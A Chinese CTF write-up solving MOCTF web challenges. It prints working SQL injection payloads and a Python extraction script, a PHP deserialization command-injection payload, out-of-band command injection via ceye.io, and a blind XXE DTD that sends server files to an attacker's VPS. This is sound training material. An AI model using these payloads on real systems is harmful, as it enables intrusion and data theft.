比赛的最后一个小时才知道.看大神的博客学习一下. 大神博客http://skysec.top/ .
是时候让你手指锻炼一下了
看一下源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <script> var clicks=0 $(function ( ) { $("#cookie" ) .mousedown (function ( ) { $(this ).width ('350px' ).height ('350px' ); }) .mouseup (function ( ) { $(this ).width ('375px' ).height ('375px' ); clicks++; $("#clickcount" ).text (clicks); if (clicks >= 108000 ){ var form = $('<form action="" method="get">' + '<input type="text" name="clicks" value="' + clicks + '" hidden/>' + '</form>' ); $('body' ).append (form); form.submit (); } }); }); </script>
看一下请求,get一个clicks=108000
1 view-source:http://120.78.57.208:6003/web1/?clicks=108000
拿到flag:moctf{Here_Is_Your_Surprise}
ez Injection
1 view-source:http://120.78.57.208:6002/?id=1
返回
1 <b>尊敬的:saltyfish您本次恭喜您本次比赛荣获第:1名</b></br></center>
随意测试一下发现空格被过滤,注释绕过,sky大神用的%0a绕,差不多
1 view-source:http://120.78.57.208:6002/?id=1%27/**/order/**/by/**/4%23
无返回
1 view-source:http://120.78.57.208:6002/?id=1%27/**/order/**/by/**/3%23
返回
1 <b>尊敬的:saltyfish您本次恭喜您本次比赛荣获第:1名</b></br></center>
发现提取的三列 然后尝试用union select
1 view-source:http://120.78.57.208:6002/?id=1%27/**/union/**/select/**/1,2,3%23
发现没有返回... 这个时候我就傻逼了...不知道怎么做,看了大神的wp之后...
大神随手一个双写就绕过去了.. 大神的想法是..可能union和select被过滤了
那么访问
1 view-source:http://120.78.57.208:6002/?id=1%27/**/union%23
应该是返回正常的
我自己去尝试了一下,发现确实正常,那么为什么是把union替换为了空呐?
我自己又去尝试了一下
1 view-source:http://120.78.57.208:6002/?id=1%27/**/1%23
发现返回的是空,那么前面的那个应该是把union替换为了空,所以双写可以绕过的,应该是这个逻辑
1 view-source:120.78.57.208:6002/?id=1%27/**/ununionion/**/selselectect/**/1,2,3%23
得到返回
1 <b>尊敬的:saltyfish您本次恭喜您本次比赛荣获第:1名</b></br><b>尊敬的:2您本次恭喜您本次比赛荣获第:1名</b></br></center>
然后测试的时候发现括号被过滤了,但是影响不大,直接提取就好了
然后去访问
1 view-source:120.78.57.208:6002/?id=1'/**/ununionion/**/selselectect/**/1,table_name,3/**/from/**/information_schema.tables%23
发现又没有返回了,多的单词只有table_name,from,information,schema,一个一个测试
1 view-source:http://120.78.57.208:6002/?id=1%27/**/information%23
后面的information换成table,name,schema都返回空,说明没被过滤,但是from返回正常,那么双写from,提取成功,直接提取出了所有表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 尊敬的:saltyfish您本次恭喜您本次比赛荣获第:1名 尊敬的:CHARACTER_SETS您本次恭喜您本次比赛荣获第:1名 尊敬的:COLLATIONS您本次恭喜您本次比赛荣获第:1名 尊敬的:COLLATION_CHARACTER_SET_APPLICABILITY您本次恭喜您本次比赛荣获第:1名 尊敬的:COLUMNS您本次恭喜您本次比赛荣获第:1名 尊敬的:COLUMN_PRIVILEGES您本次恭喜您本次比赛荣获第:1名 尊敬的:ENGINES您本次恭喜您本次比赛荣获第:1名 尊敬的:EVENTS您本次恭喜您本次比赛荣获第:1名 尊敬的:FILES您本次恭喜您本次比赛荣获第:1名 尊敬的:GLOBAL_STATUS您本次恭喜您本次比赛荣获第:1名 尊敬的:GLOBAL_VARIABLES您本次恭喜您本次比赛荣获第:1名 尊敬的:KEY_COLUMN_USAGE您本次恭喜您本次比赛荣获第:1名 尊敬的:PARAMETERS您本次恭喜您本次比赛荣获第:1名 尊敬的:PARTITIONS您本次恭喜您本次比赛荣获第:1名 尊敬的:PLUGINS您本次恭喜您本次比赛荣获第:1名 尊敬的:PROCESSLIST您本次恭喜您本次比赛荣获第:1名 尊敬的:PROFILING您本次恭喜您本次比赛荣获第:1名 尊敬的:REFERENTIAL_CONSTRAINTS您本次恭喜您本次比赛荣获第:1名 尊敬的:ROUTINES您本次恭喜您本次比赛荣获第:1名 尊敬的:SCHEMATA您本次恭喜您本次比赛荣获第:1名 尊敬的:SCHEMA_PRIVILEGES您本次恭喜您本次比赛荣获第:1名 尊敬的:SESSION_STATUS您本次恭喜您本次比赛荣获第:1名 尊敬的:SESSION_VARIABLES您本次恭喜您本次比赛荣获第:1名 尊敬的:STATISTICS您本次恭喜您本次比赛荣获第:1名 尊敬的:TABLES您本次恭喜您本次比赛荣获第:1名 尊敬的:TABLESPACES您本次恭喜您本次比赛荣获第:1名 尊敬的:TABLE_CONSTRAINTS您本次恭喜您本次比赛荣获第:1名 尊敬的:TABLE_PRIVILEGES您本次恭喜您本次比赛荣获第:1名 尊敬的:TRIGGERS您本次恭喜您本次比赛荣获第:1名 尊敬的:USER_PRIVILEGES您本次恭喜您本次比赛荣获第:1名 尊敬的:VIEWS您本次恭喜您本次比赛荣获第:1名 尊敬的:INNODB_BUFFER_PAGE您本次恭喜您本次比赛荣获第:1名 尊敬的:INNODB_TRX您本次恭喜您本次比赛荣获第:1名 尊敬的:INNODB_BUFFER_POOL_STATS您本次恭喜您本次比赛荣获第:1名 尊敬的:INNODB_LOCK_WAITS您本次恭喜您本次比赛荣获第:1名 尊敬的:INNODB_CMPMEM您本次恭喜您本次比赛荣获第:1名 尊敬的:INNODB_CMP您本次恭喜您本次比赛荣获第:1名 尊敬的:INNODB_LOCKS您本次恭喜您本次比赛荣获第:1名 尊敬的:INNODB_CMPMEM_RESET您本次恭喜您本次比赛荣获第:1名 尊敬的:INNODB_CMP_RESET您本次恭喜您本次比赛荣获第:1名 尊敬的:INNODB_BUFFER_PAGE_LRU您本次恭喜您本次比赛荣获第:1名 尊敬的:columns_priv您本次恭喜您本次比赛荣获第:1名 尊敬的:db您本次恭喜您本次比赛荣获第:1名 尊敬的:event您本次恭喜您本次比赛荣获第:1名 尊敬的:func您本次恭喜您本次比赛荣获第:1名 尊敬的:general_log您本次恭喜您本次比赛荣获第:1名 尊敬的:help_category您本次恭喜您本次比赛荣获第:1名 尊敬的:help_keyword您本次恭喜您本次比赛荣获第:1名 尊敬的:help_relation您本次恭喜您本次比赛荣获第:1名 尊敬的:help_topic您本次恭喜您本次比赛荣获第:1名 尊敬的:host您本次恭喜您本次比赛荣获第:1名 尊敬的:ndb_binlog_index您本次恭喜您本次比赛荣获第:1名 尊敬的:plugin您本次恭喜您本次比赛荣获第:1名 尊敬的:proc您本次恭喜您本次比赛荣获第:1名 尊敬的:procs_priv您本次恭喜您本次比赛荣获第:1名 尊敬的:proxies_priv您本次恭喜您本次比赛荣获第:1名 尊敬的:servers您本次恭喜您本次比赛荣获第:1名 尊敬的:slow_log您本次恭喜您本次比赛荣获第:1名 尊敬的:tables_priv您本次恭喜您本次比赛荣获第:1名 尊敬的:time_zone您本次恭喜您本次比赛荣获第:1名 尊敬的:time_zone_leap_second您本次恭喜您本次比赛荣获第:1名 尊敬的:time_zone_name您本次恭喜您本次比赛荣获第:1名 尊敬的:time_zone_transition您本次恭喜您本次比赛荣获第:1名 尊敬的:time_zone_transition_type您本次恭喜您本次比赛荣获第:1名 尊敬的:user您本次恭喜您本次比赛荣获第:1名 尊敬的:cond_instances您本次恭喜您本次比赛荣获第:1名 尊敬的:events_waits_current您本次恭喜您本次比赛荣获第:1名 尊敬的:events_waits_history您本次恭喜您本次比赛荣获第:1名 尊敬的:events_waits_history_long您本次恭喜您本次比赛荣获第:1名 尊敬的:events_waits_summary_by_instance您本次恭喜您本次比赛荣获第:1名 尊敬的:events_waits_summary_by_thread_by_event_name您本次恭喜您本次比赛荣获第:1名 尊敬的:events_waits_summary_global_by_event_name您本次恭喜您本次比赛荣获第:1名 尊敬的:file_instances您本次恭喜您本次比赛荣获第:1名 尊敬的:file_summary_by_event_name您本次恭喜您本次比赛荣获第:1名 尊敬的:file_summary_by_instance您本次恭喜您本次比赛荣获第:1名 尊敬的:mutex_instances您本次恭喜您本次比赛荣获第:1名 尊敬的:performance_timers您本次恭喜您本次比赛荣获第:1名 尊敬的:rwlock_instances您本次恭喜您本次比赛荣获第:1名 尊敬的:setup_consumers您本次恭喜您本次比赛荣获第:1名 尊敬的:setup_instruments您本次恭喜您本次比赛荣获第:1名 尊敬的:setup_timers您本次恭喜您本次比赛荣获第:1名 尊敬的:threads您本次恭喜您本次比赛荣获第:1名 尊敬的:04ad5938eaf0efb6您本次恭喜您本次比赛荣获第:1名 尊敬的:qqflycar您本次恭喜您本次比赛荣获第:1名
发现倒数第二个比较奇怪,那么继续提取
提取的时候发现where被过滤,双写绕
1 view-source:http://120.78.57.208:6002/?id=1%27/**/ununionion/**/selselectect/**/1,column_name,3/**/frfromom/**/information_schema.columns/**/whwhereere/**/table_name=%2204ad5938eaf0efb6%22%23
这里双引号没被过滤,直接用名字上了,过滤了的话可以0x+十六进制绕过
返回
1 2 3 尊敬的:saltyfish您本次恭喜您本次比赛荣获第:1名 尊敬的:name您本次恭喜您本次比赛荣获第:1名 尊敬的:value您本次恭喜您本次比赛荣获第:1名
继续提value
1 view-source:http://120.78.57.208:6002/?id=1%27/**/ununionion/**/selselectect/**/1,value,3/**/frfromom/**/04ad5938eaf0efb6%23
返回
1 2 尊敬的:saltyfish您本次恭喜您本次比赛荣获第:1名 尊敬的:moctf{5o_easy_inj3cTi0n}您本次恭喜您本次比赛荣获第:1名
flag:moctf{5o_easy_inj3cTi0n}
要认真
发现一个后台登录界面,继续找一找,发现一个url
1 http://119.29.170.143:6003/list.php?id=23
然后测试一下
1 2 http://119.29.170.143:6003/list.php?id=23^0 http://119.29.170.143:6003/list.php?id=23^1
发现返回不一样
大神是盲注,但是我盲注的时候出了点问题,这个地方卡了好久...
这个地方过滤掉了等于号和where,但是可以报错注入,所以我是报错注入做的,注意闭合它的括号
其次注意报错注入每次只能提取32个字符,所以一次一次提取,最后一次的结果已经无所谓了,因为有用的已经提出来了
1 2 3 4 5 6 7 8 import requestsimport refor num in range (0 ,100 ): r=requests.get("http://119.29.170.143:6003/list.php?id=23)%20and%20extractvalue(1,concat(0x3a,substr((select%20group_concat(table_name)%20from%20information_schema.tables)," +str (1 +num*31 )+",31)))%23" ) res = re.findall(r"XPATH syntax error: ':([^']+)'" ,r.text)[0 ] print (res,end='' )
得到返回
1 CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,PARAMETERS,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,TABLES,TABLESPACES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,INNODB_BUFFER_PAGE,INNODB_TRX,INNODB_BUFFER_POOL_STATS,INNODB_LOCK_WAITS,INNODB_CMPMEM,INNODB_CMP,INNODB_LOCKS,INNODB_CMPMEM_RESET,INNODB_CMP_RESET,INNODB_BUFFER_PAGE_LRU,cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users,columns_priv,db,event,func,general_log,help_category,help_keyword,help_relation,help_topic,host,ndb_binlog_index,plugin,proc,procs_priv,proxies_priv,servers,slow_log,tables_priv,time_zone,time_zone_leap_second,time_zone_name,time_zone_transition,time_zone_transition_type,user,cond_instances,events_waits_current,events_waits_history,events_waits_history_long
后面可能还会有,但是因为不足32个字符,爆了错,这里我就不管了,因为有用的cms_users已经出来了,继续注入爆列,得到了
1 CHARACTER_SET_NAME,DEFAULT_COLLATE_NAME,DESCRIPTION,MAXLEN,COLLATION_NAME,CHARACTER_SET_NAME,ID,IS_DEFAULT,IS_COMPILED,SORTLEN,COLLATION_NAME,CHARACTER_SET_NAME,TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME,ORDINAL_POSITION,COLUMN_DEFAULT,IS_NULLABLE,DATA_TYPE,CHARACTER_MAXIMUM_LENGTH,CHARACTER_OCTET_LENGTH,NUMERIC_PRECISION,NUMERIC_SCALE,CHARACTER_SET_NAME,COLLATION_NAME,COLUMN_TYPE,COLUMN_KEY,EXTRA,PRIVILEGES,COLUMN_COMMENT,GRANTEE,TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME,PRIVILEGE_TYPE,IS_GRANTABLE,ENGINE,SUPPORT,COMMENT,TRANSACTIONS,XA,SAVEPOINTS,EVENT_CATALOG,EVENT_SCHEMA,EVENT_NAME,DEFINER,TIME_ZONE,EVENT_BODY,EVENT_DEFINITION,EVENT_TYPE,EXECUTE_AT,INTERVAL_VALUE,INTERVAL_FIELD,SQL_MODE,STARTS,ENDS,STATUS,ON_COMPLETION,CREATED,LAST_ALTERED,LAST_EXECUTED,EVENT_COMMENT,ORIGINATOR,CHARACTER_SET_CLIENT,COLLATION_CONNECTION,DATABASE_COLLATION,FILE_ID,FILE_NAME,FILE_TYPE,TABLESPACE_NAME,TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME,LOGFILE_GROUP_NAME,LOGFILE_GROUP_NUMBER,ENGINE,FULLTEXT_KEYS,DELETED_ROWS
这里其实很迷,因为应该提取出一个username和password列才对..但是没有,后来我直接提取username和password拿到密码,然后到后台登录,传马+nginx解析漏洞,拿到webshell,然后因为数据库不在这个网站,所以我也连了一下数据库,然后提一下,也没有提取出username和password列,后续研究研究再说吧...
flag:moctf{Y0u_need_to_b3_ser1ous}
PUBG
首先index.php.bak源码泄漏
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <html> <title>MOCTF吃鸡大赛</title> <style type="text/css" > a{ text-decoration:none; color:white; } body { background:url ('image/PUBG.jpg' ); background-attachment:fixed; background-repeat:no-repeat; background-size:cover; -moz-background-size:cover; -webkit-background-size:cover; } center { color:white; } </style> <body> <center> <p>你现在正在飞机上,请选择要跳的地方</p></br> <p><a href="?LandIn=airport" >机场</a></p> <p><a href="?LandIn=school" >学校</a></p> <p><a href="?LandIn=field" >打野</a></p> <p><a href="?LandIn=AFK" >上个厕所</a></p> </center> </body> </html> <?php error_reporting (0 ); include 'class.php' ; if (is_array ($_GET )&&count ($_GET )>0 ) { if (isset ($_GET ["LandIn" ])) { $pos =$_GET ["LandIn" ]; } if ($pos ==="airport" ) { die ("<center>机场大仙太多,你被打死了~</center>" ); } elseif ($pos ==="school" ) { echo ('</br><center><a href="/index.html" style="color:white">叫我校霸~~</a></center>' ); $pubg =$_GET ['pubg' ]; $p = unserialize ($pubg ); } elseif ($pos ==="AFK" ) { die ("<center>由于你长时间没动,掉到海里淹死了~</center" ); } else { die ("<center>You Lose</center>" ); } } ?>
然后去搞class.php源码,发现class.php.bak泄漏
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php include 'waf.php' ; class sheldon { public $bag ="nothing" ; public $weapon ="M24" ; public function __wakeup ( ) { $this ->bag="nothing" ; $this ->weapon="kar98K" ; } public function Get_air_drops ($b ) { $this ->$b (); } public function __call ($method ,$parameters ) { $file = explode ("." ,$method ); echo $file [0 ]; if (file_exists (".//class$file [0].php" )) { system ("php .//class//$method .php" ); } else { system ("php .//class//win.php" ); } die (); } public function nothing ( ) { die ("<center>You lose</center>" ); } public function __destruct ( ) { waf ($this ->bag); if ($this ->weapon==='AWM' ) { $this ->Get_air_drops ($this ->bag); } else { die ('<center>The Air Drop is empty,you lose~</center>' ); } } } ?>
然后本地构造一下
1 2 3 4 5 6 7 8 9 10 11 12 <?php class sheldon { public $bag ="nothing" ; public $weapon ="AWM" ; } $temp = new sheldon (); $temp ->bag = "win.php && cat waf.php && index" ; var_dump (urlencode (serialize ($temp )));
然后记得把属性数量改一下绕__wakeup 本来是
1 O%3A7%3A%22sheldon%22%3A2%3A%7Bs%3A3%3A%22bag%22%3Bs%3A31%3A%22win.php+%26%26+cat+waf.php+%26%26+index%22%3Bs%3A6%3A%22weapon%22%3Bs%3A3%3A%22AWM%22%3B%7D
然后改成
1 O%3A7%3A%22sheldon%22%3A20%3A%7Bs%3A3%3A%22bag%22%3Bs%3A31%3A%22win.php+%26%26+cat+waf.php+%26%26+index%22%3Bs%3A6%3A%22weapon%22%3Bs%3A3%3A%22AWM%22%3B%7D
访问一下
1 http://120.78.57.208:6001/?LandIn=school&&pubg=O%3A7%3A%22sheldon%22%3A20%3A%7Bs%3A3%3A%22bag%22%3Bs%3A31%3A%22win.php+%26%26+cat+waf.php+%26%26+index%22%3Bs%3A6%3A%22weapon%22%3Bs%3A3%3A%22AWM%22%3B%7D
得到waf.php的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting (0 );function waf ($values ) { $black = array ('vi' ,'awk' ,'-' ,'sed' ,'comm' ,'diff' ,'grep' ,'cp' ,'mv' ,'nl' ,'less' ,'od' ,'head' ,'tail' ,'more' ,'tac' ,'rm' ,'ls' ,'tailf' ,'%' ,'%0a' ,'%0d' ,'%00' ,'ls' ,'echo' ,'ps' ,'>' ,'<' ,'${IFS}' ,'ifconfig' ,'mkdir' ,'cp' ,'chmod' ,'wget' ,'curl' ,'http' ,'www' ,'`' ,'printf' ); foreach ($black as $key => $value ) { if (stripos ($values ,$value )){ die ("Attack!" ); } } } ?>
然后用\绕过waf 比如用l\s绕过ls 然后访问
1 view-source:http://120.78.57.208:6001/?LandIn=school&&pubg=O%3A7%3A%22sheldon%22%3A20%3A%7Bs%3A3%3A%22bag%22%3Bs%3A23%3A%22win.php+%26%26+l%5Cs+%26%26+index%22%3Bs%3A6%3A%22weapon%22%3Bs%3A3%3A%22AWM%22%3B%7D
得到
1 2 3 4 5 6 class.php class.php.bak image index.php index.php.bak waf.php
然后构造一个
1 win.php && find pw\d&& index
得到
1 2 3 4 5 6 7 8 9 10 ./class ./class/flag.php ./class/win.php ./image ./image/PUBG.jpg ./index.php.bak ./waf.php ./class.php ./class.php.bak ./index.php
然后cat一下就ok
1 win.php && cat ./class/flag.php&& index
得到flag
登录一哈
首先.git泄漏,githack一波 index.php的主要代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php ini_set ('session.serialize_handler' , 'php_binary' ); session_start (); if (isset ($_POST ['username' ]) && isset ($_POST ['password' ])){ $username = $_POST ['username' ]; $password = $_POST ['password' ]; $_SESSION ["username" ] = $username ; header ("Location:./index.php" ); } else if (isset ($_SESSION ["username" ])){ echo '<h1>hello ' .$_SESSION ["username" ].'</h1>' ; } else { ?>
flag.php的代码
1 2 3 4 5 6 7 8 9 10 11 12 <?php session_start ();class MOCTF { public $flag ; public $name ; function __destruct ( ) { $this ->flag = "moctf{xxxxxxxxxxxxxxxxxxx}" ; if ($this ->flag == $this ->name){ echo "Wow,this is flag:" .$this ->flag; } } }
这里发现session的序列化处理和反序列化处理不同,所以可以利用一下,具体参考
http://www.jb51.net/article/107101.htm
然后注意flag.php里面有个 $this->flag == $this->name
那么可以用引用绕过 \(this->name =
&\) this->flag 然后序列化,代码如下
1 2 3 4 5 6 7 8 <?php class MOCTF { public $flag ; public $name ; } $temp = new MOCTF ();$temp -> name = &$temp ->flag;var_dump (serialize ($temp ));
得到结果 O:5:"MOCTF":2:{s:4:"flag";N;s:4:"name";R:2;}
然后提交帐号为O:5:"MOCTF":2:{s:4:"flag";N;s:4:"name";R:2;}
密码随意,然后访问flag.php,拿到flag
Wow,this is flag:moctf{ser1ali2e_h4ndler_1s_c00l}
ping一下好吗
命令执行的题目,一道题学到了不少东西 首先ceye.io了解一下
注册一个号,然后里面有攻击的payload 不知道为什么大神的方法不行
但是我就不行...
后来想了个办法,既然命令可以执行,那么我直接把得到的回显写到另外一个文件不就好了
所以我就
1 `ls>123.txt`.xxxx.ceye.io
得到文件目录
1 2 3 4 5 6 123.txt apache2 css exec.php fhnrwlnbjvf.php index.html
然后再
1 `cat fhnrwlnbjvf.php>321.txt`.xxxx.ceye.io
去访问一下321.txt
1 <?php $flag ="moctf{dfa10ff1bd9872cda1d408f07eb66394}" ;
本来打算用sed -n -p1来提取的,但是-被过滤了...很惨...
看完这道题还顺便理解了之前hctf的那道oob,不错不错
噢噢对了,把源码放一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php $target = $_REQUEST [ 'ip' ]; $target =trim ($target ); $substitutions = array ( '&' => '' , ';' => '' , '-' => '' , '' => '' , '' => '' , '' => '' , 'python' => '' , 'bash' => '' , 'nc' =>'' ); $target = str_replace ( array_keys ( $substitutions ), $substitutions , $target ); var_dump ($target ); if ( stristr ( php_uname ( 's' ), 'Windows NT' ) ) { $cmd = shell_exec ( 'ping ' . $target ); } else { $cmd = shell_exec ( 'ping -c 1 ' . $target ); } if ($cmd != NULL ){ echo "exec success" ."</br>" ; } var_dump ($cmd ); ?>
2.22更新
字符串处理
这道题啊...真是惨到爆炸,题目提示的是application/xml,然后client-ip=
localhost,
就很明显是xxe,但是我并不会,看了大佬的博客之后,自己试着写了一个blind
xxe的payload 但是从来都没有成功过,所以这篇文章拖到现在还没发...
虽然现在题目已经关掉了,但是还是把payload给发一下吧,虽然这个payload是hgame里的payload,不过自己修改一下xml文件就ok(其实叫dtd更好一点),这里给出hgame的**书店那道题的解法
测试版:
首先服务器上放一个evil.xml文件
1 2 3 4 <!ENTITY % payload "1111" > <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://你的vps/xxe.php?f=%payload;'>" > %int; %trick;
然后 xxe.php的文件内容是
1 2 3 <?php file_put_contents ("./1.txt" , $_GET ['f' ]); ?>
然后post的内容是
1 2 3 4 5 <?xml version="1.0" encoding="UTF-8" standalone="no" ?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://你的vps/evil.xml" > %remote; ]>
然后就可以在vps上收到数据,1.txt里面就是1111
如果把payload里的东西改成请求的话,那么就是把evil.xml改成
1 2 3 4 <!ENTITY % payload SYSTEM "file:///a/b" > <!ENTITY % int "<!ENTITY % trick SYSTEM 'http://你的vps/xxe.php?f=%payload;'>" > %int; %trick;
这里就可以读取到服务器上的a/b的文件并存到你vps上当前目录的1.txt下
然后就拿到flag: hgame{Xxe_v3ry_funny!!!!}